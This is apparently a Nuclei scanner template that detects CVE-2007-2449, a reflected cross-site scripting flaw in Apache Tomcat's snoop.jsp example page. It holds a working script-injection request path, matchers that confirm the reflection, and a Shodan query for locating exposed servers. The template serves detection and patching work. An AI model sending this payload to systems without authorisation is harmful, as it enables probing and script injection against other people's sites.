漏洞描述
Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
id: CVE-2007-2449
info:
name: Apache Tomcat 4.x-7.x - Cross-Site Scripting
author: pdteam,ritikchaddha
severity: medium
description: |
Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
reference:
- https://vulners.com/securityvulns/SECURITYVULNS:DOC:17267
- https://nvd.nist.gov/vuln/detail/CVE-2007-2449
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
epss-score: 0.83233
epss-percentile: 0.99224
metadata:
max-request: 1
verified: true
shodan-query: title:"Apache Tomcat"
tags: cve,cve2007,apache,misconfig,tomcat,xss
http:
- method: GET
path:
- "{{BaseURL}}/examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Request URI: /examples/jsp/snp/snoop.jsp;<script>alert(document.domain)</script>test.jsp'
- 'JSP Request Method'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a004730450220738f76ba457be20fa1b1d74b9eb876557b9eb4dcae0d1e7fd4ecea3efa34d44b022100abb6d8dd3765a28c02258dc28a4eae7c79d36e7818abc72c8e4c52e939644b7c:922c64590222798bb761d5b6d8e72950